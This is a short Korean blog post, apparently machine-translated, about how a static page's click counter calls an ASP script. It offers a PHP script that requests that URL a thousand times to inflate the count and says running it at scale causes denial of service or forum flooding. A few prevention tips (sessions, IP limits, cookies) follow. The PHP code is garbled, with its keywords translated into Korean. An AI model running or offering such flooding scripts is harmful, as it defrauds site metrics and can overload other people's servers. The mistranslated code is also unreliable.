오늘 우연히 정적 페이지에서 카운터를 업데이트할 수 있는 웹사이트를 보았습니다. js를 사용하여 업데이트해야 한다고 생각했습니다. 소스 코드를 열어보니 다음과 같았습니다.
<div align=center><SPAN class=Article_tdbgall>
작성자: 알 수 없는 기사 출처: Meidi.Net
클릭수:
<스크립트 언어='javascript' src='/Article/GetHits.asp?ArticleID=759'></script>
업데이트 시간: 2005-5-27</SPAN>
</div>
클릭수 뒤에는 처리용 asp 파일이 따라오는데 이 파일을 열어서 살펴보겠습니다.
document.write('210')
그렇군요. ArticleID 와 처리하는 것은 GetHists.asp 파일입니다. 결과를 추출하고 횟수를 출력합니다: document .write('number of times'). 이는 정적 페이지에서 직접 참조할 수 있습니다.
나쁜 놈은 결국 나쁜 놈이니까 어떻게 하면 클릭수를 빨리 늘릴 수 있을까 하는 생각이 들었습니다. 수동 새로 고침은 그다지 유용하지 않습니다. 이 파일에 자동으로 액세스하는 PHP 프로그램을 빠르게 작성하십시오.
PHP 코드는 다음과 같습니다:
<?php
/* access_url.php */
Define(SUM, 1000); //필요한 방문 횟수
Define(L_TIME, 1000); //스크립트 실행 시간 강제 적용
Define(S_TIME, 1); //각 방문 사이의 수면 시간
$url = " http://www.xxx.com/Article/GetHits.asp?ArticleID=759 " //접근할 주소
set_time_limit(L_TIME);
//지정된 URL 함수인 Knowsky.com에 액세스합니다.
함수 access_url($url)
{
($url=='') 경우 false를 반환합니다.
$fp = fopen($url, 'r') 또는 exit('URL 열기 실패!');
만약 ($fp) {
동안 (!feof($fp)) {
$파일 = fgets($fp);
echo $file."n<p> </p>n";
}
설정 해제($file);
}
}
//시험
for ($i=0; $i<SUM; $i++) {
access_url($url);
수면(S_TIME);
}
?>
위의 프로그램을 실행하면 지정된 URL 주소에 연속적으로 접속하게 되고 자연스럽게 접속 횟수도 계속 증가하여 Flooding 효과를 얻게 됩니다. 트래픽이 크고 여러 프로그램을 사용하여 실행하는 경우 서비스 거부(DoS) 효과를 얻기 쉽습니다. 상대방이 예방조치를 취하고 코드를 수정하여 포럼에 제출하면 포럼에 홍수를 일으키는 효과를 쉽게 얻을 수 있습니다.
예방 방법:
1. 코드에서 세션 메커니즘을 사용합니다. 사용자가 제출하면 세션 ID가 생성됩니다. 콘텐츠를 제출하면 제출 여부가 판단됩니다.
2. 사용자가 제출한 후에는 사용자의 IP 주소가 기록되며, 지정된 시간 내에 다시 제출하는 경우 더 이상의 제출이 허용되지 않습니다.
3. 사용자가 콘텐츠를 제출한 후 사용자의 클라이언트에 쿠키가 기록됩니다. 사용자가 다시 제출하는 경우 클라이언트에 쿠키가 있는지 확인하여 제출이 허용되는지 확인합니다.
다른 방법도 많이 있습니다. 검색해 보거나 상상력을 발휘하여 더 나은 결과를 얻을 수 있습니다.